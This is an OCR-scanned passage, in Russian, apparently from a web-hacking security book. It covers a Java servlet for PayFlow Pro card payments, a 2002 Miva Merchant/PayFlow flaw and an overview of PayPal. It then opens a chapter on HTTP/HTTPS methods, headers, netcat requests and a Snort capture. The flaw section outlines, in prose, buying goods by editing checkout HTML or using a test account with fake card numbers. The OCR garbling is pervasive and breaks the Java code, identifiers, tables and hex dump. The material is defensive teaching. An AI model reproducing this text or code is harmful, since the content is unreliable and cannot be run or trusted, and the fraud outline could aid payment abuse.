<trxtd>Cart code</tdxtd>input type=text name»SHOPCART size=6></tdx/tr>
<tr><td>Credit Card noeber</td><td>input type*text папе^СЛШЛПЖ 81M»16></td>
</tr>
<trxtd>Expi ration date<br>(month/year )</td>
<tdxinput type=text name=EXPMONTH size=2>
<input type=text name=EXPYEAR size=2 ></tdx/tr>
</table>
<p><inpttt type*submit valueeJ,ProceeB payuent">
</fonn>
Ha HTML- странице содержится форма, которая обеспечивает запуск сервлета PFServlet (https: //paynent.exaeple.coni/servlet/PFServlet/). В свою очередь, сервлет PFServlet создает Java-объект PFPro, который и взаимодействует с системой обработки платежей PayFlow Pro. В форму HTML вводятся следующие параметры.
ПараметрОписание
SHOPCARTКод электронной корзины
CARDNUMНомер кредитной карточкипокупателя
EXPMONTHМесяц истечения срока действиякредитной карточки
ЕХРУЕАЯГод истечения срока действия кредитной карточки
Электронная тележка каждого клиента имеет уникальный код. В сервлете PFServlet этот код используется для обработки всех товаров, помещенных в торговую тележку. В идеале код электронной тележки должен автоматически передаваться подсистеме обработки платежей электронного магазина из подсистемы управления сеансами приложения. Ниже приведен исходный код для сервлета PFServlet.
import java.i。,;
import javax.servlet.•;
import javax.servlet.http.*;
import con •Signlo.PFProAPI;
public class PFServlet extends HttpServlet {
public void doGet (HttpServletRequest req, BttpServIetResponse res) throws
ServletException, lOIxception
{..
Printwriterout;
PFProAPI pfObject《new PFProA?I();
String ver = pfObject.PKVersion();
// получение параметров форми HTML
String EXPMONTH = reg. getParometer(4,EXPNOMTH*T) j
String EXPTEAR = reg. getPtraniter (^EXPtEAR*» |;
String CARDNUM - reg.getParantter(^CAXDNUM*);
String SHOPCART = reg.getParaBetert^SBOPCART*);
String EXPDATE = DCPMONTB + EXPYEAR;
// вычвслввва общей стоимости на основе содержимого торговой телехки
String КМСОТГ = CalculateTotalAmount(SBOPCART);
// получение пользовательского идентификатора и пароля
// мз внутреннего хранилища
String usemaae = PFCredentials.getUserN&me();
String password = PFCredentialB.?etPaflsword();
// узел с системой обработки платежей PayFlowPro
String Host Address= "test.signio.com11;
String HostPort= "443";
// формирование строки параметров для передачи системе PayFlow Pro
String PfirmList=
*TRXTTPE"S iTENDER^CfcUSER" + username + "PW»" + password +
^fcACCT"* + CARDNQM + “RXPMTE*” + expdate + ” AMT+“ + amount + 4,bCOKMENTl(10)«TB8tPay4IWVWUM»l234567890bSTRZET-120iWIGGIliSiST ШРМ7907*;
String Timeout = "30";
// передача запроса на обработку платежа и получение результата int rc = pfObject.ProcessTransaction( HostAddress, HostPort,
〃— "“,ParmList, Tbeout);
// запись результата
res•setContentType(*text/htnl*);
out = res.getWriterO;
// здесь необходимо обработать pe&xqwo покупателя и сгенерировать товарный чек.
// перед завершением работы сервлета данные о транзакции нужно зашсать в базу данных.
}
Пакет com.Signio.PFProAPI обеспечивает возможность использования Java-объекта, реализующего взаимодействие с системой PayFlow Pro. Этот пакет импортируется в коде сервлета PFServlet. Экземпляр объекта pfObject инстанцируется на основе класса PFProAPI. Этот объект используется для взаимодействия с серверами PayFlow Pro.
Затем обрабатываются параметры формы, переданные сервлету PFServlet. После их получения используется функция CalculateTotalA»ount(), которая проверяет содержимое торговой тележки покупателя и вычисляет общую стоимость покупок, необходимую для последующей обработки платежа.
В следующем фрагменте кода задаются параметры соединения с системой обработки платежей финансов огр учреждения. В первую очередь из внутреннего хранилища данных извлекается информация для регистрации в системе PayFlow Pro. Эти параметры могут быть жестко заданы в программном коде, однако такой подход никак нельзя назвать удачным. Затем задается IP-адрес и номер порта сервера. И наконец, формируется строка ParmList, содержащая список параметров, которые необходимо передать в HTTP-запросе серверу PayFlow Pro. Эти параметры определяют тип
транзакции (в данном случае продажа (sale) обозначается символом S) и форму оплаты (для кредитной карточки используется символ С (credit card)). Кроме того, в строке параметров содержится также пользовательское имя и пароль системы PayFlow Pro, номер кредитной карточки и конечный срок ее действия, стоимость покупки, некоторая дополнительная информация о транзакции и адрес покупателя. Полное описание всех этих параметров можно найти в руководстве разработчика системы PayFlow Pro, предоставляемом компанией VeriSign.
После этого с помощью метода pfObject.ProcessTransaction() генерируется запрос на обработку платежа. В переменную гс помешается код результата, полученный от сервера PayFlow Pro. Как правило, на полную обработку запроса (от его генерации до получения отклика результата) уходит несколько секунд.
В оставшемся фрагменте кода сервлета обрабатываются результаты транзакции. Если платеж был успешно принят, сервлет генерирует сообщение о подтверждении заказа и товарный чек, а затем инициирует процесс выполнения заказа. Если же обработка платежа завершилась неудачно, формируется соответствующее сообщение покупателю. Перед завершением работы сервлета данные о транзакции записываются в базу данных.
Проблемы реализации подсистемы обработки платежей
При реализации подсистемы обработки платежей и ее интеграции с соответствующей системой финансового учреждения возникает ряд вопросов, которые требуют внимательного рассмотрения.
Интеграция
При интеграции подсистемы обработки платежей электронного магазина с интерфейсным объектом системы финансового учреждения требуется, чтобы из клиентской базы данных не извлекались никакие конфиденциальные данные. Так, например, общая стоимость выбранных товаров всегда должна подсчитываться с учетом содержимого электронной торговой тележки и стоимости товаров, хранящейся в серверной базе данных, а не базироваться на сведениях, поступивших от покупателя.
Временная информация
Если на сервере необходимо хранить какую-либо временную информацию, то ее следует размещать вне корневого каталога документов Web в отдельной области файловой системы, специально предназначенной для этих целей. В этом случае с помощью Web-броузера взломщик не сможет извлечь промежуточные или временные файлы. Как только в хранении временных данных больше нет необходимости, их нужно сразу же удалить. Кроме того, нужно позаботиться о том, чтобы не произошло наложения временной информации двух параллельных сеансов.
Протокол SSL
Протокол SSL не имеет прямого отношения к обеспечению безопасности серверной части приложения. Однако очень важно, чтобы этот механизм использовался для шифрования данных, передаваемых между системой покупателя и Web-узлом
виртуального магазина, а также между электронным магазином и системой обработки платежей финансового учреждения. При этом злоумышленники не смогут "прибрать к рукам” конфиденциальные данные, передаваемые в Internet.
Хранение профилей пользователей
Многие элеБсгронные магазины розничной торговли позволяют покупателям использовать свой собственный профиль (набор параметров) и хранить его на сервере магазина. Зачастую в таком профиле содержится также информация о платежах, в том числе сведения о кредитных карточках. В таких случаях необходимо предпринять повышенные меры безопасности, гарантирующие, что профили пользователей не будут подвергнуты риску ни при каких обстоятельствах.
Изъяны слабой интеграции подсистем выбора товаров и обработки платежей
4 января 2002 года появилось сообщение об изъяне, обнаруженном в электронной тележке Miva Merchant (версии 3.x) и системе обработки платежей PayFlow компании VeriSign. Воспользовавшись им, в рамках подсистемы выбора товаров можно было выполнять недопустимые транзакции с помощью недействительных кредитных карточек. По существу, ошибка была не в самой системе обработки платежей, а в методе интеграции приложения электронной тележки с системой обработки платежей.
Существует два способа использования этого изъяна. Первый заклюиаетсн в модификации кода HTML-страниц таким образом, чтобы вместо страницы с формой оформления платежа сразу же выводилась страница подтверждения заказа. Тем самым полностью пропускается этап проверки достоверности пользовательских данных. Второй путь "обхода” системы состоит в том, чтобы создать в системе PayFlow компании VeriSign пустую тестовую учетную запись. Такая учетная запись зарезервирована для тех разработчиков, которым нужно протестировать свои приложения. И вновь для незаконного использования электронной торговой тележки достаточно отредактировать HTML-код и вместо страницы оформления заказа воспользоваться адресом URL, используемым для отладки. Далее фальшивый номер "тестовой” кредитной карточки может быть использован для приобретения товаров. Подробная информация об этих способах мошенничества содержится по адресу: http://securitytracker.com/alerts/2002/Jan/1003102.htnil.
PayPal — электронные платежи, доступные каждому
Такие системы обработки платежей, как PayPal (http://www.paypal.com), позволили отдельным пользователям выполнять электронные платежи через Web. Подобная возможность привела к значительному увеличению числа лиц, в том числе мелких предпринимателей, а также небольших компаний, которые ведут свои дела через Internet.
Транзакции PayPal выполняются с использованием кредитных карточек. В системе PayPal каждый пользователь может зарегистрироваться бесплатно. Персональная учетная запись связывает сведения о кредитных карточках пользователя с его идентификационными данными. Для ссылки на собственные счета клиенты PayPal просто используют свой адрес электронной почты. Предположим, что некий пользователь
Mallory хочет выполнить платеж на имя пользователя Jill, ранее уже получившего учетную запись PayPal. Ссылка на учетную запись Jill в PayPal осуществляется с использованием электронного адреса — ]Ш€ехажр1е.сог. Если Mallory захочет перевести Jill некоторую сумму денег, то первое, что ему следует сделать, — это зарегистрироваться в PayPal. Mallory создает собственную учетную запись PayPal и связывает с ней номер своей кредитной карточки. Затем Mallory регистрируется в системе PayPal и инициирует платеж на счет, связанный с адресом jilliexample. с от. В системе PayPal кредитная карточка Mallory используется для добавления на счет Jill указанной суммы. На элеБсгронный адрес Jill автоматически отправляется сообщение о том, что были получены деньги от Mallory.
Системой PayPal предлагается три типа учетных записей: personal, premium и business. При этом с каждой из них связаны различные возможности и льготы, ориентированные на отдельных пользователей, отдельных пользователей с большим объемом платежей и представителей малого бизнеса соответственно. Кроме того, системой PayPal предоставляется ряд дополнительных услуг: возможность выполнения платежей по кредитным карточкам напрямую, использование банкоматов или дебетных карточек, подключенных к счету PayPal, обслуживание нескольких счетов одновременно и т.д.
В настоящее время услугами PayPal пользуются около 15 миллионов физических лиц и небольших предприятий. При этом финансовые операции они могут осуществлять в интерактивном режиме. PayPal — это основной метод приема платежей на Web-узлах аувдионной продажи, таких, как eBay. Немалую роль система PayPal играет также в развитии рынка условно бесплатного программного обеспечения, которое распространяется по принципу "прежде чем покупать, попробуй**. Такое программное обеспечение предлагается разработчиками бесплатно. При этом предоставляется возможность приобретения его полноценной копии позднее. Система PayPal позволяет отдельным разработчикам программного обеспечения принимать платежи с кредитных карточек тех клиентов, которые используют их программные средства. Интересен тот факт, что система PayPal также широко используется в индустрии Internet- порнографии, позволяя владельцам соответствующих Web-узлов взимать плату за просмотр предоставляемого содержимого.
Резюме
Электронные торговые тележки и системы обработки платежей — это основа любого приложения электронной коммерции, предназначенного для обслуживания клиентов через Internet. Именно эти компоненты приложения обеспечивают обмен конфиденциальными и критически важными данными между покупателями и компаниями по Internet. Следовательно, вопросам безопасного функционирования подобных подсистем должно уделяться самое пристальное внимание. Каждый из этих компонентов должен быть тесно связан с другими частями приложения. Любая ошибка в реализации может стать причиной серьезной утечки информации, хранящейся на сервере. Любой программный продукт, представленный на современном рынке, требует тщательного тестирования в аспекте обеспечения безопасности. Причем такую проверБсу стоит выполнять еще до покупки приложения, а не после его установки.
ГЛАВА 4
Хакинг протоколов HTTP и HTTPS
Слепой не будет благодарен за зеркало.
Английская пословица XVIII века. Из собраний Томаса Фуллера (Thomas Fuller), Гномология (Gnomologia), 1732
Введение
Ежедневно во всем мире и за его пределами миллиарды электронов передаются по тысячам миль кабеля между узлами Internet. Эти электроны доставляют почтовые сообщения, изображения и звук на миллионы компьютеров, подключенных к World Wide Web. Во многих сообщениях содержится жизненно важная и конфиденциальная информация, которой могут завладеть хакеры (если получат доступ к этим сообщениям) и впоследствии нанести большой вред. Многие из них именно этим и занимаются. Почему же существует эта опасность, несмотря на технический прогресс в области разработки брандмауэров и программного обеспечения, предназначенного для выявления вторжений? Ответ на этот вопрос связан с двумя TCP-портами — 80 и 443.
Эти порты используются службами, основой которых являются протоколы HTTP (HyperText Transfer Protocol) и HTTPS (HTTP поверх SSL), чем и объясняется растущее количество кибервзломов. Почему же так происходит? Причина чрезвычайно проста: люди становятся жертвами исБсусного мошенничества. Разработчики программного обеспечения и провайдеры услуг Internet очень часто прибегают к нечестным ухищрениям и уловкам. Они уверенно заявляют: "Купите хороший брандмауэр и систему выявления вторжений (Intrusion Detection System — IDS), и ваши проблемы, связанные с обеспечением безопасности, исчезнут сами собой**. Любой человек с высоким уровнем интеллекта должен знать, что независимо от количества используемых брандмауэров и систем IDS, никогда нельзя обеспечить гарантированную защиту от Web-атак.
Брандмауэры не помогут защититься от Web-атак. Их можно сравнить с лежачими полицейскими на улицах Internet. Почему? Потому что через них должен свободно проходить весь Web-трафик. В результате протоколы HTTP/HTTPS позволяют взломщику пракгиче- ски полностью игнорировать брандмауэры. Вне всякого сомнения, протокол HTTP должен вызывать у хакеров восхищение. Обычно все, что можно сделать с использованием HTTP, можно сделать также и с помощью I ГП PS. в этой главе рассматриваются оба протокола (HTTP и HTTPS), обсуяэдаются основные принципы их функционирования, а также пути, которыми пользуются хакеры для расширения границ своей деятельности.
Протоколы Web
World Wide Web — это набор протоколов, которые подобны полицейским, регулирующим ,,уличное,* движение в Internet. Пакеты — это автомобили, грузовики и автобусы на информационной супермагистрали; а протоколы — это остановки, светофоры и эстакады. С учетом такого определения, протоколы играют чрезвычайно важную роль в управлении повседневной жизнью Internet. Как следствие, он к оказываются столь же важными и для хакеров, которые хотят воспользоваться их недостатками (а иногда и функциональными возможностями).
В этой главе обсуждаются основные протоколы, используемые в электронной коммерции. Кроме того, вы узнаете, как хакеры пытаются воспользоваться ими для достижения собственной выгоды. Здесь также описывается множество бесплатных утилит, работа которых основывается на преимуществах этих протоколов. Подобные программные средства позволяют автоматизировать выполнение большей части тяжелой рутинной работы.
HTTP
Вне всякого сомнения, HTTP — наиболее распространенный протокол Internet. Для взаимодействия и обмена информацией этот протокол должен использоваться на каждом Web-броузере и сервере. Существует три основные версии протокола, которые
поддерживают одну и ту же фундаментальную структуру. HTTP — это протокол запросов/ ответов, не требующий поддержки соединения и позволяющий компьютерам достаточно эффективно и непрерывно взаимодействовать друг с другом в течение часов, дней и недель.
Хотя используемая в настоящее время версия 1.0 протокола HTTP существенно отличается от первоначальной спецификации, предложенной Тимом Бернерсом-Ли (Tim Berners-Lee) в марте 1990 года, его характерные особенности изменились незначительно. На рис. 4.1 изображены основные компоненты HTTP и принципы их использования.
Клиентский броузерКлиентский броузерСервер возвращает код ответа HTTP, используя разные заголовки запросаСервер возвращает код ответа HTTP, используя разные заголовки запросаКлиент передает запрос HTTP, используя разныеметоды и заголовки запроса
Клиентский броузер
Клиентский броузер
Сервер возвращает код ответа HTTP, используя разные заголовки запроса
Сервер возвращает код ответа HTTP, используя разные заголовки запроса
MHIMIIIIKIIНИ1П1«1(Н«>
Г_1]
Web-сервер
HTTF/1.1 200 ОК
Server: Mlcroso ft-IIS/b.O
Content*Location: http://192.168.0.5/
Default .htin
Date: Mon, 15 Apr 2002 05:56:57 GMT
Content-Type: text/html
Acccpf-Rdnqos: bytes
Last-Modif ied: Sat, 06 Apr 2002 06:48:32 GMT
Etag: ・a(H7751137dde11:81a・
Con t eлt - L€fno •;; : 5
Рис. 4.1. Протокол HTTP
Рассмотрим основные версии протокола HTTP подробнее.
НТТР/0.9
Первой официальной спецификацией протокола HTTP считается НТТР/0.9. Эта и последующая версии определены группой IETF (Internet Engineering Task Force) в документе RFC 1945 (http://vww.ietf.org/rfc/rfcl9 4 5.txt). В течение четырех лет (19921996) протокол НТТР/0.9 получил широкое распространение в Internet, хотя в то время технология Web еще не была достаточно развита. Версия 0.9 была весьма ограниченной и не содержала тех элементов, которые в настоящее время требуются для взаимодействия в Web.
НТТР/1.0
Спецификация HTTP/1.0 появилась в самом начале эры стремительного развития Internet, в мае 1996 года. Несмотря на небольшой возраст этой версии (в технологическом смысле), она является основной версией протокола HTTP, используемой сейчас в Internet. В процессе взаимодействия на большинстве Web-серверов и броузеров по- прежнему по умолчанию используется протокол НТТР/1.0. Подобно НТТР/0.9, спецификация НТТР/1.0 определена в документе RFC 1945.
В основу НТТР/1.0 положен процесс обмена запросами и ответами, в рамках которого клиенту (Web - броузеру) и серверу (Web-серверу) разрешается (или запрещается) передавать, анализировать и получать информацию.
Вообще, в спецификации НТТР/1.0 адрес URL определен следующим образом:
http//узел [ *:• порт ] / абсолюгиыА путь /
Здесь узел — это имя целевого узла, порт — необязательный номер порта, абса1ютный_ путь — запрашиваемый ресурс.
Запрос HTTP
При генерации запроса первым шагом должен быть выбор метода, который будет использоваться. В табл. 4.1 описаны методы, определенные в спецификации НТТР/1.0.
Таблица 1. Методы НТТР/1.0
Метод Описание
GET Позволяет извлечь информацию из файловой системы. Если запрашиваемый файл является статическим файлом HTML, то будет отображено его содержимое. Однако если файл является динамическим файлом ASP, то Web-сервер обработает его, выполнит содержащиеся в нем команды и передаст результаты выполнения обратно броузеру.
Пример: GET /default.htm НТТР/1.0. Замечание: после строки НТТР/1.0 необходимо дважды нажать клавишу <Enter>
HEAD Метод HEAD почти ьденшчен методу GET, с одной оговоркой: при его использовании запрашиваемые данные возвращены не будут. Однако преимущество метода HEAD заключается в том, что в качестве ответа передается »4етамнформация: код ответа серв叩а, дата, заголовок сервера и т.д. Эти данные позволяют взломщику (иногда) "прощупывать" Web-сервер, на котором выполняется Web-приложение.
Пример: HEAD / НТТР/1.0. Замечание: после строки НТТР/1.0 необходимо дважды нажать клавишу <Enter>
POST При использовании метода POST данные передаются серверу в теле запроса. Обычно метод POST используется в том случае, если в процессе взаимодействия применяется интерфейс CGI или серверные сценарии. Замечание: для всех запросов POST требуется указать корректный заголовок Content-Length
Ответ HTTP
Полученный от клиента запрос HTTP обрабатывается сервером, который обратно передает ответ. В качестве ответа передается набор следующих компонентов:
код ответа (response code) — числовой код, связанный с откликом;
поля заголовка (header field) — дополнительная информация об ответе;
данные — содержимое, или тело ответа.
При наличии этих трех компонентов клиентский броузер "понимает” ответ сервера и может с ним взаимодействовать. Рассмотрим каждый компонент подробнее.
Код ответа
Это первая часть ответа сервера, которая определяет все последующее взаимодействие. Возможны четыре ответа сервера: Success (успешное завершение передачи запроса), Redirection (перенаправление), Client Error (ошибка клиента) или Server Error (ошибка сервера). Значение кода ответа зависит от клиентского запроса. В табл. 4.2 приведены наиболее стандартные коды ответа, генерируемые сервером.
Таблица 4.2. Общие коды ответов
Код ответа
Описание
Success 2хх
200 ОК
Redirection Зхх
Запрос успешно принят
301 Moved Permanently
Запрашиваемый ресурс содержится по новому постоянному адресу URL, который указан в поле Location. С помощью этого кода ответа сервер сообщает: 屮 переместился, следуй за мной по новому адресу"
302 Moved Temporarily
Запрашиваемый ресурс можно найти с использованием нового временного URL, который указан в поле Location. Этот код ответа говорит: "Я переместился, следуй за мной по новому адресу, но не рассчитывай, что я надолго там задержусь"
Client Error 4xx
400 Bad Request
Сервер не понял запроса
401 Unauthorized
403 Forbidden
Для доступа к запрашиваемому ресурсу нужно пройти аутентификацию
Сервер понял запрос, но отказывается отвечать. Как правило, если для получения ответа используется метод GET, то предоставляется (или вообшр отсутствует) минимальная дополнительная информация. В то же время при использовании метода HEAD некоторые серверы возвраидают более подробную информацию о причинах возникновения данного условия
404 Not Found
Server Errors 5xx
500 Internal Server Error
501 Not implemented
502 Bad Gateway
Нужный ресурс не нацден
При обработке запроса на сервере возникла внутренняя ошибка
Сервер не поддерживает запрос
При запросе ресурса сервер получил некорректный ответ от другого сервера. Такой ответ эпичен для ргоху-серверов HTTP
503 Service Unavailable
Сервер не может ответить на запрос из-за своей перегруженности
Более полный перечень кодов ответов протоколов HTTP/1.0 и НТТР/1.1 содержится в приложении Б.
С помощью кода 501 (Not Implemented) клиенту сообщается, что выбранный метод сервером не подцерживается. Например, такой код будет получен в том случае, если серверу НТТР/1.0 передать запрос с методом OPTIONS (который определен только в спецификации НТТР/1.1).
Поля заголовка
Как в ответе сервера на запрос клиента, так и в ответе клиента на запрос сервера содержатся поля заголовка с дополнительной информацией. Сервер и клиент выполняют анализ этих полей и при необходимости используют полученную информацию. Основные поля заголовка описаны в табл. 4.3.
Таблица 4.3. Определения полей заголовка
Поле заголовка
Описание
Allow
Предоставляет список методов, поддерживаемых запрашиваемым ресурсом
Authorization
Содержит регистрационные данные, необходимые для аутентификации HTTP
Content-Encoding
Перечисляет, какое дополнительное кодирование применялось к переданным данным. На основе этой информации клиент может правильно интерпретировать полученные данные. Например, поле Content-Encoding: x-gzip означает, что к содержимому было применено сжатие gzip
Content-Length
Указывает размер содержимого в октетах (десятичное число). Например, ContentLength: 332
Content-Type
Описывает тип содержимого ответа. Например, поле Content-Type: text/HTML определяет, что типом содержимого является text/HTML Это поле позволяет правильно отобразить полученное содержимое в клиентском броузере
Date
Содержит дату и время сервера
Expires
Содержит дату и время, при наступлении которых содержимое считается устаревшим
From
Содержит ад)ес электронной почты, используемый для определения источника, сгенерировавшего ответ. Это поле используется редко
Last-Modified
Содержит дату и время последнего изменения ресурса на сервере
Location
Указывает местоположение запрашиваемого ресурса
Pragma
Описывает дополнительные параметры обработки запроса. Например, если в поле заголовка Pragma, полученного от сервера, указана директива no cash, то клиент должен загрузить полученное содержимое независимо от того, содержится ли в буфере копия этих данных
Referer
Позволяет клиенту указать адрес ресурса
Server
Описывает запущенное на сервере программное обеспечение. В большинстве случаев эта информация является точной. Например, Server: Kicrosoft-ISS/5.0. Однако не нужно забывать о том, что некоторые сообразительные администраторы могут изменить эту информацию. В результате вполне возможно получить сообщение TWeb-cepBep Микки"
User-Agent
Предоставляет дополнительную информацию о пользовательском (клиентском) агенте, который запрашивает информацию. Например, User-Agent: Mozilla/5.0 (WinNT)
WWW-Authenticate
Используется в ответ на получение кода 401 Unathorizec Применяется в про- _цессе взаимодействия с сервером для получения санкционированного доступа
Данные
Блок данных, содержащихся в клиентском запросе или ответе сервера, — это основная часть информации, передаваемой в процессе взаимодействия. При использовании метода GET в запросе на получение ресурса по умолчанию можно воспользоваться следующим синтаксисом:
С:\> nc.exe Hww.exanple.com 80
GET / HTTP/1.0
Another <cr> <lf> here
В результате обратно в блоке данных будет передана Web - страница, используемая по умолчанию.
HTTP/1.1
Официальная спецификация протокола Н1ТР/1.1 появилась в 2001 году и в настоящее время широко используется. Подробные сведения об этой новой версии и описание ее основных отличий от версии НТТР/1.0 представлены в документе RFC 2616 группы IETF. Причиной появления протокола HTTP/1.1 послужили недостатки, обнаруженные в его предыдущей версии. К этим недостаткам относится отсутствие поддержки иерархических связей между ргоху-сервсрами, слабая поддержка кэширования и отсутствие корректной обработки постоянных соединений и виртуальных узлов.
В протоколе HTTP/1.1 адрес URL выглядит следующим образом: нт://узм[**1" порт] [абсолютнкй_путъ [”" запрос]]
При сравнении адресов URL версий НТТР/1.0 и НТТР/1.1 можно заметить одно существенное отличие: протокол НТТР/1.1 поддерживает передачу параметров сценария с использованием запроса ?. Эта особенность используется практически во всех Web-приложениях и оказывается одним из первых механизмов, подвергающихся атаке. Все, что указано после символа ?, обрабатывается сценарием, а следовательно, становится целью атаки (таковы правила игры с хакерами).
Запрос HTTP
Протокол НТТР/1.1 основывается на НТТР/1.0, однако поддерживает гораздо больше методов. Описание методов НТТР/1.1 приведено в табл. 4.4.
Таблица 4.4. Методы гтр/1.1
Метод Описание
CONNECT Новый для НТТР/1.1 "
Можно использовать при взаимодействии с ргоху-сервером, который позволяет динамически переключаться в режим туннелирования (т.е. туннелирования SSL)
DELETE Новый для НТТР/1.1
Позволяет исходному серверу удалить указанный ресурс. По умолчанию эта возможность недоступна на большинстве новых серверов. Однако при использовании такого метода об удачной обработке запроса будет свидетельствовать ответ 200 ОК. Ответ 202 Accepted будет возвращаться в том случае, если запрос был принят, но его обработка еще не закончена. Сообщение 204 NO Content означает, что запрос был принят, но обратно возвращать нечего
GET Позволяет извлечь информацию из файловой системы. Если запрашиваемый файл является статическим файлом НТМЦ то будет отображено его содержимое. Однако если файл является динамическим файлом ASP, то Web-сервер обработает е「о, выполнит содержащиеся в нем команды и передаст результаты выполнения обратно броузеру.
Пример: GET /default.htm НТТР/1.1. Замечание: после строки НТТР/1.1 необходимо дважды нажать клавишу <Enter>
HEAD Метод HEAD почти идентичен методу GET, с одной оговоркой: при его использовании запрашиваемые данные возвращены не будут. Однако преимущество метода HEAD заключается в том, что в качестве ответа передается метаинформаиия: код ответа сервера, дата, заголовок сервера и т.д. Эти данные позволяют взломщику (иногда) "прощупыватьп Web-сервер, на котором выполняется Web-приложение.
Пример: HEAD/HTTP/1.1. Замечание после строки HTTP/1.1 необходимо дважды нажать клавишу <Enter>
Метод Описание
OPTIONS Позволяет получить информацию о параметрах связи, которые можно использовать при доступе к нужному ресурсу. Если используется символ звездочки (*), то ресурс считается стандартным и в ответе будут указаны только стандартные методы. Например, при использовании символа '♦* в ответе будут указаны только четыре метода: GET, HEAD, OPTIONS и TRACE.
OPTIONS * HTTP/1Л
Host: wvw.example.сош
HTTP/1.1 200 OK
Date: Mon, 15 Apr 2002 00:08:32 GMT
Server: WebSTAR/4.2 (Unix) mod_ssl/2.8.€ OpenSSL/0.9.6c
Content-Length: 0
Allow: GET, HEAD, OPTIONS, TRACE
В то же время при использовании символа / можно получить перечень всех разрешенных методов.
OPTIONS / HTTP/1.1
Host: www.example.com
HTTP/1.1 200 OK
Date: Mon, 15 Apr 2002 00: "07:17 GMT
Server: WebSTAR/4.2 (Unix) nod ssl/2.8.6 OpenSSL/0.9.6c
Content-Length:0
Allow: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, PATCH, PROPFIND, PROPPATCH, MKCOL, COPY, move, LOCK, UNLOCK, TRACE
Этот метод может оказаться весьма полезным (с точки зрения хакера) при исследовании функциональных возможностей Web-узла
POST При использовании метода POST данные передаются серверу в теле запроса. Обычно метод POST используется в том случае, если в процессе взаимодействия применяется интерфейс CGI или серверные сценарии. Замечание: для всех запросов POST требуется указать корректный заголовок Content-Length
PUT Позволяет сохранить передаваемые данные на сервере. Например, приведенный ниже фрагмент позволяет создать файл EXAMPLE, в котором будут содержаться данные, переданные в запросе.
PUT /EXAMPLE HTTP/1.1
Host: 192.168.0.5
Content-Length: 5 Hello there
TRACE Позволяет сгенерировать запрос на получение циклического сообщения. Даже если запрос предназначен для целевого сервера, зачастую вместо него отвечают proxy-серверы. Эта характеристика позволяет взломщику выполнить инвентаризацию ргоху-серверое
Ответ HTTP
Как и при использовании протокола HTTP/1.0, запросы HTTP/1.1 передаются клиентом и соответствующим образом обрабатываются сервером. В ответе HTTP/1.1 можно выделить следующие элементы:
код ответа (response code) — числовой код, связанный с откликом;
поля заголовка (header field)——дополнительная информация об ответе;
данные ——содержимое, или тело ответа.
Коды ответа
В спецификации HTTP/1.1 к списБсу ранее используемых кодов ответов добавлено много новых кодов, однако их основная часть осталась без изменений. Поэтому, для того чтобы понять характерные особенности кодов HTTP/1.1, следует хорошо разобраться с кодами ответов, определенными в протоколе НТТР/1.0.
Поля заголовка
Как в запросе клиента, так и в ответе сервера содержатся поля заголовка, предоставляющие некоторую дополнительную информацию. При необходимости сервер и клиент выполняют анализ этих полей. В табл. 4.5 приведено описание новых полей заголовка, появившихся в протоколе НТТР/1.1.
Таблица 4.5. Добавления НТТР/1.1 к определениям полей за「оловка НТТР/1.0
Поле заголовка Описание
Cache-Control
Определяет директивы, которые должны использоваться всеми механизмами кэширования в последовательности запросов/ответов
Connection Etag Trailer TransferEncoding
Upgrade Via
Позволяет отправителю задать параметры конкретного соединения
Позволяет побить текущее значение дескриптора entity
Позволяет включить в конец сообщения список заголовков
Позволяет получить информацию обо всех преобразованиях тела сообщения, которые были выполнены для его передачи
Позволяет клиенту указать, какие дополнительные заголовки им поддерживаются
Используется промежуточными шлюзами и proxy-серверами для определения того, какие протоколы применяются при передаче сообщения между сегментами маршрута. Как и в ходе отслеживания маршрутов при обеспечении безопасности, поле via позволяет определить, через какие proxy-серверы проходят сообщение в процессе его доставки на целевой сервер
Warning
Используется для получения дополнительной информации о статусе сообщения
HTTPS (HTTP поверх SSL)
Это протокол, используемый для шифрования трафика HTTP. При этом для шифрования всего сообщения используется протокол SSL. Существует множество версий SSL и аналогичных протоколов (Transport Layer Security — TLS, RFC 2246), в том числе SSLvl, SSLv2 и SSLv3. Кроме того, ситуацию усложняет еще и то, что в различных версиях SSL могут использоваться разные стандарты шифрования. Например, при использовании протокола SSLv3 можно выбрать один из существующих алгоритмов шифрования, начиная с DES и заканчивая RSA (RC2 и RC4).
Проследить за практическим использованием протокола SSL проще всего с помощью сетевого анализатора пакетов. С помощью утилиты Snort (http://www.snort.org) можно просмотреть весь трафик, передаваемый через TCP-порт 80.
04/14-22:43:39.781452 192.168.0.5:80 -> 192.168.0.3:2590
TCP TTL:128 TOS:OxO ID:18197 IpUn:20 DgBLen:344 DF
•**・“ Seq: Ox22AA9B72 Ack: OxFDC79BB8 Win: Ox445F TcpLen: 20 0x0000: 00 06 5B30 04 ОС 00 20 78 OD IF 4C0800 45 00・.[0・・・ X. .L. .E.
0x0010: 01 58 4715 40 00 80 06 31 32 CO A80005 CO A8.XG.L..12
0x0020: 00 03 0050 OA IE 22 AA 9B 72 FD C79BB8 50 18・・.P・."・.;_P.
0x0030: 44 5F 33 9A 00 00 48 54 54 50 2F 31 2E 31 20 32 D 3...BTTP/1.1 2
